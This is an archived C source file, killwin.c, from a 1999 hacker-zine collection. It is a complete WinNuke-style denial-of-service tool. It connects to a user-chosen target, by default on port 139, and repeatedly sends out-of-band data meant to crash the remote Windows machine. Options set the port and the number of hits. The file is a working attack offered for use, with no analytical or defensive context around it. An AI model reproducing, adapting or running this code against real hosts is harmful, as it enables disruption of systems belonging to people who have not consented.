home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Happle / happle10.sit.hqx / Happle#10 / Files / Denial.sit / DoS / killwin.c < prev    next >
C/C++ Source or Header  |  1999-01-02  |  2KB  |  76 lines

  1. /* killwin.c - winnuke idea, modifcation for me ONLY - napster */
  2.  
  3. #include <stdio.h>
  4. #include <netdb.h>
  5. #include <string.h>
  6. #include <unistd.h>
  7. #include <sys/types.h>
  8. #include <sys/socket.h>
  9. #include <netinet/in.h>
  10.  
  11. int x, y, sockdesc, port = 139, hits = 1;
  12. char *target, *str = "Later.";
  13.  
  14. void parse_args(int argc, char *argv[]);
  15.  
  16. void usage(char *progname) {
  17.   printf("Usage: %s <target> [-p port (Default 139)] [-t hits (Default 1)]\n", progname);
  18.   exit(-1);
  19. }
  20.  
  21. void parse_args(int argc, char *argv[]) {
  22.   target = argv[1];
  23.   if (argv[1][0] == '-') { 
  24.     printf("Must specify a target.\n"); 
  25.     exit(-1); 
  26.   }
  27.   for(y=2;y<argc;y++) {
  28.     if (!strcmp(argv[y], "-p")) { y++; port = atoi(argv[y]); }
  29.     if (!strcmp(argv[y], "-t")) { y++; hits = atoi(argv[y]); }
  30.   }
  31. }
  32.  
  33. void main(int argc, char *argv[]) {
  34.  
  35.   struct sockaddr_in sin;
  36.   struct hostent *he;
  37.   
  38.   if (argc < 2) usage(argv[0]);
  39.   
  40.   parse_args(argc, argv);
  41.  
  42.   sin.sin_family  = AF_INET;
  43.   sin.sin_port    = htons(port);
  44.    
  45.   he = gethostbyname(argv[1]);
  46.   
  47.   if (he) {
  48.     memcpy((caddr_t)&sin.sin_addr.s_addr, he->h_addr, he->h_length);
  49.   } else {
  50.     perror("Resolving");
  51.   }
  52.   
  53.   sockdesc = socket(AF_INET, SOCK_STREAM, 0);
  54.   
  55.   if (sockdesc < 0) {
  56.     perror("socket");
  57.     exit(-1);
  58.   }
  59.    
  60.   if (connect(sockdesc, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
  61.     perror("connect");
  62.     close(sockdesc);
  63.     exit(-1);
  64.   }
  65.   
  66.   printf("Connected to [%s:%d].\n", target, port);
  67.   printf("Sending crash %d times...\n", hits);
  68.   
  69.   for (x=0;x<hits;x++) send(sockdesc, str, strlen(str), MSG_OOB);
  70.   sleep(1);
  71.   printf("Done....\n");
  72.   close(sockdesc);
  73.   exit(0);
  74. }
  75.  
  76.